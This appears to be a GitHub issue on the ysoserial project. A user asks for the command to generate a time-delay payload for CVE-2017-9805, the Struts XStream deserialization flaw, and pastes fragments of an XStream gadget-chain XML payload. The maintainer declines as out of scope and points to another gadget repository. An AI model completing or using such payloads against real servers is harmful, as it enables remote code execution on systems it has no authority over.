How can I create the sleep payload in the following payload with ysoserial?

[Phoenix1112]

hello. thanks for great project. I need help very urgently. I found a request for cve-2017-9805 where the base64 encoded field puts the server to sleep for like 10 seconds.

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                <opmode>0</opmode>
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                          <__name>Pwnr</__name>
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                <lock/>
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              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer/>
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              <ofinish>0</ofinish>
              <closed>false</closed>
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            <consumed>false</consumed>
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          <transferFlavors/>
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I want to create the same payload in the request above, but I don't know how to create it with ysoserial. Can you please write the command that I can do this with ysoserial?

[frohoff]

XStream based payloads are not current in scope for this project. You might want to try something like https://github.com/chudyPB/XStream-Gadgets.